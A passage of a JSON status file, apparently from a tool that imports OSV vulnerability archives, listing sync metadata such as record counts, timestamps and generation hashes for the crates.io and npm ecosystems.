counts","generation":"crates.io-df497239f2f75af38e095cb498791dad4044a8a9a7f5f0ee6008bb732579ab9d","complete":true,"records":3081,"lastAttemptAt":"2026-11-10T18:23:45.7340645+00:00","lastSuccessAt":"2026-11-10T14:21:34.3717399+00:00","error":null,"lastVerifiedAt":"2026-11-10T18:23:45.7340645+00:00","snapshotPublishedAt":"2026-11-10T14:18:07+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-5bab1d7e68ac802e78d67f5b951f7bcace0c45048e98b39b73b18376172e4b36","complete":true,"records":231619,"lastAttemptAt":"2026-11-10T18:23:45.5819776+00:00","lastSuccessAt":"2026-11-10T18:23:44.1117746+00:00","error":null,"lastVerifiedAt":"2026-11-10T18:23:45.5819776+00:00","snapshotPublishedAt":"2026-11-10T17:33:21+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}